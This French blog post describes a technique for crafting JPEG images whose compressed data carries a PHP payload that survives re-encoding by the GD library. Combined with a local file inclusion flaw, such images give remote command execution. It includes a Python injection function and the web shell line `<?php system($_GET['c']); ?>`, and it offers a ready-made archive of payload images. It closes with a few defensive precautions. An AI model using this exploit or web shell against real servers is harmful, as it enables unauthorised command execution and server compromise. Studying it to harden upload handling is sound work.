Bulletproof JPEGs
Publié le 9 avril 2012

Certainement que, comme moi un de ces jours où l’on a le cerveau patraque, vous vous êtes retrouvés face à une vulnérabilité permettant une inclusion de fichier local sans avoir identifié de moyen d’envoyer (ou de créer) sur le serveur distant un fichier contenant du code actif... Et ce n’est pas faute d’avoir essayé d’injecter dans le fichier de session, voire même dans les logs ou les images uploadées via un formulaire ! Mais rien n’y fait. Même ce satané formulaire d’upload écrit en PHP et utilisant la bibliothèque GD pour décoder et écrire ensuite sur disque les images qui lui sont envoyées nous empêche d’obtenir un remote shell. Damned, we’re doomed.

Quelques fuites d’informations

C’est vrai que d’habitude, l’envoi d’une image au format JPEG par exemple avec un commentaire paramétré avec Gimp fait l’affaire, en dernier recours. Seulement dans mon cas, ce n’était pas possible, la bibliothèque GD étant utilisée pour décoder et écrire ensuite le fichier image sur disque : celle-ci a la fâcheuse manie de remplacer tout commentaire existant et d’y coller le sien :

Pour le coup, cette particularité est très intéressante : la qualité utilisée pour stocker l’image est dévoilée, en l’occurrence il s’agit d’une qualité de 99 (celle par défaut étant de 75 environ). On sait aussi que l’image a bien été générée par la bibliothèque GD. Bon, c’est pas folichon, mais ca peut aider.

Découverte du format de fichier JPEG

Le site distant n’acceptant que les images au format JPEG, j’ai donc décidé de mettre les mains dans le cambouis, et de voir comment est structuré ce format de fichier. L’objectif principal étant d’arriver à trouver une zone dans laquelle on peut écrire mais qui n’est pas supprimée par cette satanée bibliothèque. Je suis donc parti à la chasse aux sources, et j’en ai trouvé plusieurs :

- http://class.ee.iastate.edu/ee528/Reading%20material/JPEG_File_Format.pdf
- http://www.xbdev.net/image_formats/jpeg/tut_jpg/jpeg_file_layout.php

Le format de fichier JPEG (Joint Photographic Expert Group) est un format de stockage d’image qui emploie une compression avec perte, basée sur une conversion d’une disposition de pixels en répartition fréquentielle (grosso modo). Le problème de ce format de fichier, c’est que la configuration des pixels composant l’image n’est pas écrite telle quelle dans le fichier, contrairement aux images dites raster (comme le format BMP de Microsoft, ou le format GIF), et cela pose des soucis. En particulier quand on cherche à insérer un bout de code PHP pour exploiter convenablement une LFI.

De plus, le format de fichier est assez particulier, l’ensemble des informations étant réparties dans des sections, définies par des marqueurs. Un marqueur débute toujours par l’octet de valeur 255 (0xFF), et contient un code indiquant son rôle. Ainsi, le marqueur ayant pour code 0xD8 marque le début de l’image (Start of Image, ou SOI), et celui ayant pour code 0xD9 la fin de l’image (EOI). D’autres marqueurs sont aussi définis, dont celui définissant un commentaire, 0xFE. Je vous renvoie aux quelques liens donnés précédemment pour de plus amples informations.

Mais alors, où écrire dans ce format de fichier ?

C’est toute la question. Il ne peut y avoir qu’un champ de commentaire dans un fichier JPEG, et de toute façon nous avons vu que celui-ci était écrasé par la bibliothèque GD lors de la sauvegarde. Le format de fichier JPEG autorise aussi des marqueurs spécifiques aux applications (les fameux APPX), mais encore une fois ceux-ci ne sont pas pris en compte par GD. Il ne nous reste pas d’autre choix que de tenter une insertion dans les données stockées dans le fichier, servant à la reconstruction de l’image.

En théorie, il suffit de localiser la section SOS (Start of Scan, ayant pour marqueur 0xDA), de trouver les données compressées qui la suivent et de remplacer les premiers octets avec notre payload PHP. Oui, en théorie c’est censé fonctionner. Seulement en pratique, notre payload PHP va être interprété comme une donnée compressée et servir ensuite à générer une image composée de pixels que nous ne maîtrisons pas. Une fois recompressée par la bibliothèque GD, rien ne nous garantit que notre payload PHP sera conservé. L’insertion idéale consisterait à injecter à la place des données permettant de reconstituer les pixels notre payload PHP, et lorsque GD décode puis encode l’image, que notre payload soit conservé et écrit sur disque. Dans le cas où le fichier ne transite pas par la bibliothèque GD, celui-ci contient tout de même notre payload et fonctionnera. Ainsi, nous serions à même de construire une image Jpeg contenant du code PHP malveillant, et résistante aux transformations induites par la compression réalisée par la bibliothèque GD !

Création d’une image Jpeg "bulletproof"

Pour pouvoir créer ces merveilleuses images, j’ai tout d’abord codé en Python le code réalisant l’injection. Pour effectuer celle-ci, il suffit de rechercher la séquence d’octet 0xFF 0xDA (correspondant à la section Start of Scan), puis de lire les deux octets qui suivent (contenant la taille de la section stockée sur 2 octets en big-endian), afin de trouver l’endroit où les données compressées sont écrites. On recherche ensuite à partir de cet emplacement le marqueur de fin d’image (0xFF 0xD9), et les données situées entre les deux correspondent aux données compressées définissant le contenu de l’image (enfin, une partie pour être précis, mais là n’est pas la question).

Il est ensuite trivial de remplacer les quelques octets de début par notre payload. Notez que dans le code présent j’ai prévu un décalage variable, j’y reviendrai plus tard. Voici le code de cette fonction :

  1. def insertPayload(_in, _out, payload,off):
  2. img = _in
  3. # look for 'FF DA' (SOS)
  4. sos = img.index("\xFF\xDA")
  5. sos_size = struct.unpack('>H',img[sos+2:sos+4])[0]
  6. sod = sos_size+2
  7. # look for 'FF D9' (EOI)
  8. eoi = img[sod:].index("\xFF\xD9")
  9. # enough size ?
  10. if (eoi - sod - off)>=len(payload):
  11. _out.write(img[:sod+sos+off]+payload+img[sod+sos+len(payload)+off:])
  12. return True
  13. else:
  14. return False

Télécharger

Pour tester les images générées, j’ai installé les bindings Python de la bibliothèque GD, sous debian le package nommé python-gd. Ces bindings permettent de simuler à l’aide de Python l’ensemble des traitements effectués par la bibliothèque GD, et en particulier de reproduire ce qu’il se passe sur le serveur cible à savoir l’ouverture puis l’écriture sur disque de l’image uploadée.

Un point est cependant capital à prendre en compte : la qualité de l’image. GD permet de définir une qualité (tout comme plein d’autres logiciels d’infographie, comme GIMP par exemple) afin d’ajuster la taille du fichier sur disque. Plus la qualité est bonne (proche ou égale à 100), plus le fichier sera gros et l’image nette, et a contrario plus celle-ci est faible plus le fichier sera petit et l’image dégradée. Ce facteur de qualité est très important : il faut utiliser exactement le même facteur lors de la génération de l’image bulletproof afin d’être sûr que le serveur distant va bien générer notre payload lors de l’écriture sur disque. La fuite d’information découverte précédemment va sûrement vous être utile afin de déterminer la qualité employée =).

J’ai automatisé la génération des images bulletproof à l’aide d’un script Python (encore un), et j’ai ainsi pu générer des images contenant le code PHP (ou équivalent) suivant pour les facteurs de qualité de 52 à 98 :

  1. <?php system($_GET['c']); ?>

Certes, quelques variantes ont du être employées pour assurer une insertion maximale, mais le résultat est plutôt intéressant. De plus, mon script essaie d’insérer le payload à différents endroits, pas forcément au début de la section (vous vous rappelez de l’offset dans la fonction d’insertion ?), car les phases de décompression/compression rendent le résultat un poil aléatoire. Ainsi, voici à quoi ressemble une image avant traitement par la bibliothèque GD (côté serveur), image contenant notre payload PHP (pour la qualité par défaut) :

En regardant en détail le contenu de l’image, on peut apercevoir le payload PHP :

Fin mot de l’histoire

Avec cette image JPEG, j’ai pu facilement contourner la restriction imposée via la bibliothèque GD et forcer celle-ci à écrire elle-même une image contenant un code PHP malveillant, qui m’a permis d’exécuter des commandes systèmes sur le serveur distant à l’aide de la vulnérabilité d’inclusion de fichier local trouvée auparavant.

Pour vous éviter de générer tout vous-même, je vous ai préparé une petite archive contenant mon code python ayant servi à la génération de toutes les images bulletproof, ainsi que les images elles-même (32x32 pixels). Si avec ça je ne vous gâte pas pour Pâques, je ne comprends pas ...

Pour terminer sur une note sécuritaire, lorsque vous autorisez l’upload d’images au format JPEG (mais ceci est d’ailleurs vrai avec d’autres formats comme BMP ou PNG, une attaque identique pouvant être réalisée) prenez plusieurs précautions :

- stockez vos images dans un dossier situé en dehors de la racine du serveur web
- activez la restriction d’open_basedir, et restreignez au moins à votre dossier racine (/var/www/ par exemple)
- codez un script PHP permettant la récupération des images uploadées, en prenant les précautions habituelles (pas de paramètres utilisés dans les chemins, etc ...)

version de GD employée : 2.0.36rc1

version de Python employée : 2.7

Documents joints